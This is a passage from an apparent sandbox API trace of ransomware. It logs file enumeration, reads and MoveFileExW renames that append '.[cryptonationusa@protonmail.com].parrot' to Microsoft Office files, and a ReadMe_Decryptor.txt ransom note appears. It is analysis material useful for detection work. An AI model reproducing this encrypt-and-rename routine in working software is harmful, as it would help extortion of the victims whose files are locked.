liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.204] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1b8, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x1b8, lpOverlapped=0x0) returned 1 [0192.204] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.204] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\graycheck\\header.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck\\HEADER.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\graycheck\\header.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.211] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.211] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0192.212] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.212] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x155, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x155, lpOverlapped=0x0) returned 1 [0192.212] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.213] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\graycheck\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck\\TAB_OFF.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\graycheck\\tab_off.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.217] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.218] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0192.219] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.219] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0xde, lpOverlapped=0x0) returned 1 [0192.219] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.220] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\graycheck\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck\\TAB_ON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\graycheck\\tab_on.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.224] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0192.224] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52c3bfd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfe9a8360, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfe9a8360, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.224] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x52c3bfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe982200, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x2d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="HEADER~1.PAR")) returned 1 [0192.224] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.224] ReadFile (in: hFile=0x288, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0192.226] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.226] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xeb0, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0xeb0, lpOverlapped=0x0) returned 1 [0192.226] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.226] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\graycheck.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\graycheck.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.231] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.231] ReadFile (in: hFile=0x288, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0192.233] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.233] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x762, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x762, lpOverlapped=0x0) returned 1 [0192.233] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.234] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GreenTea.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\greentea.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GreenTea.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\greentea.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.239] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.239] ReadFile (in: hFile=0x288, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0192.241] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.241] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7cf, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x7cf, lpOverlapped=0x0) returned 1 [0192.241] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.242] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\LightSpirit.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lightspirit.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\LightSpirit.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lightspirit.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.247] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0192.247] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0192.247] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x568309f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66293410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.247] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0192.247] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0192.247] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0192.248] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.248] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0192.249] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.249] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ce, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x1ce, lpOverlapped=0x0) returned 1 [0192.249] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.250] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lime\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime\\TAB_OFF.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lime\\tab_off.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.255] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.255] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0192.256] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.256] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10b, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x10b, lpOverlapped=0x0) returned 1 [0192.256] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.257] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lime\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime\\TAB_ON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lime\\tab_on.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.311] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0192.312] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x568309f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfea66a40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfea66a40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.312] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe9f4620, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xfe9f4620, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfea66a40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0192.312] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.312] ReadFile (in: hFile=0x288, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0192.314] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.314] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1091, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x1091, lpOverlapped=0x0) returned 1 [0192.315] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.315] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lime.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lime.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.322] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.322] ReadFile (in: hFile=0x288, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0192.323] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.323] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x720, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x720, lpOverlapped=0x0) returned 1 [0192.324] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.324] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Maroon.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\maroon.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Maroon.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\maroon.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.330] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0192.330] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0192.330] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6b22b3b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b22b3b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.330] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0192.330] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0192.330] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x86c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0192.331] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.331] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0192.332] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.332] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x86c, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x86c, lpOverlapped=0x0) returned 1 [0192.333] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.333] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\oasis\\header.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis\\HEADER.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\oasis\\header.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.340] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.340] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0192.341] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.341] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f0, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x1f0, lpOverlapped=0x0) returned 1 [0192.341] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.342] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\oasis\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis\\TAB_OFF.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\oasis\\tab_off.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.347] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.347] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0192.349] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.349] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x401, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x401, lpOverlapped=0x0) returned 1 [0192.349] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.349] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft 